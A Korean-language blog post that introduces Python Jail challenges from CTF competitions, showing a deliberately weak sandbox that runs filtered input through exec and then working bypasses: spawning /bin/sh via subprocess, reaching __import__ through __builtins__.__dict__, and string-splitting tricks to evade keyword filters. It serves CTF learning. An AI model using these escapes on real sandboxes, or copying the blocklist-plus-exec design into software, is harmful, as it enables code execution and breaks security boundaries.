-
Python JailCoding/Python 2021. 4. 8. 14:07
Python Jail이란?
def main(): print(open(__file__).read()) print("Welcome to Jail World!") text = input('>>> ') for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']: if keyword in text: print("Filtered Keyword.") return; else: exec(text) if __name__ == "__main__": main()
위 코드와 같이 CTF에서 나오는 문제 유형으로, Bash Jail과 비슷한 유형으로 나온다.
문자열을 filtering 하며, filtering에 걸리지 않은 문자열들은 exec함수로 실행된다.
자, 같이한번 PyJail의 세상으로 한번 빠져들어보자!
__import__
python의 builtin function이다. 명령 한줄에서만 import를 수행하겠다는 뜻이다.
위와 같이 한 줄의 명령에 대해서 os module을 builtin 하였다.
__builtins__
python내의 모든 내장 identifier에 대한 직접적인 access를 제공한다.
즉, __dict__를 통해서 모든 function에 대하여 access가 가능하다.
이제 CTF에서 나오는 기본적인 filtering에 어떻게 대처하면 될지 생각해보자.
'system' is Filtering
shell을 획득하기 위한 system module이 filtering된 경우에는 어떻게 하면 좋을까?
system외에도 python에는 재미있는 module이 1가지 있다.
바로 subprocess이다.
__import__("subprocess").call(["/bin/sh", "-s"])
이런 식으로 os와 system을 filtering한 것을 subprocess라는 module로 똑같은 기능을 하는 것을 만들 수 있다.
'__import__' is Filtering
위와 같이 subprocess 모듈을 import하기 위해선 __import__가 필요하다. 하지만 Filtering 되어 있는 경우가 있다.
이런 경우에 어떻게 대처하면 될지 생각해 보자.
답은 위에 이미 나와있다.
바로, __builtins__을 이용하는 것이다.
__builtins__.__dict__['__imp ort__'.replace(" ", "")]
이런 식으로 __builtins__.__dict__를 사용하여 대처 가능하다.
여기서 '__import__'.replace(" ", "") 를 해준 이유는 string filtering이 존재하기 때문에 bypass하기 위함이다.
여기서 마찬가지로 shell을 획득하기 위해서는 위의 system bypass하기 위해 사용한 subprocess를 한번 사용해보았다.
__builtins__.__dict__['__imp ort__'.replace(" ", "")]("subpr ocess".replace(" ", "")).call(["/bin/sh", "-s"])
뭔가 이상하다고 생각하는 사람도 있을 것이다.
'__im'+'port__'("subprocess").call(["/bin/sh", "-s"])
이런식으로 하면 bypass한거 아니냐?
이런거면 그냥 bypass string filtering이랑 다른게 뭐냐?
라고 하지만,
안된다.
그러한 이유는 다음과 같다.
quote로 감싸는 순간 string으로 되어 버리기 때문에, 원하는 대로 작동 하지 않는다.
그러므로, quote로 __import__가 감싸질 경우가 있을때에만 bypass string filtering가 효과를 발휘한다.
How2Bypass String Filtering??
이쯤되면, string filtering은 어떻게 하면 bypass가능할지 몇몇가지가 떠오르는 사람이 있을 것이다.
위 두 bypass방법을 포함하여 string bypass 방법을 다음과 같이 정리해보았다.
"__im"+"port__"
"__im""port__"
"__im port__".replace(" ", "")
"".join(["__im", "port__"])
"__IMPORT__".lower()
"{}{}".format("__im","port__")
"__im".__add__("port__")
위에 나온 방법 외에도 한번 생각해보길 바란다!
python을 많이 써봤다면 쉽게 생각해낼 수 있을 것이다.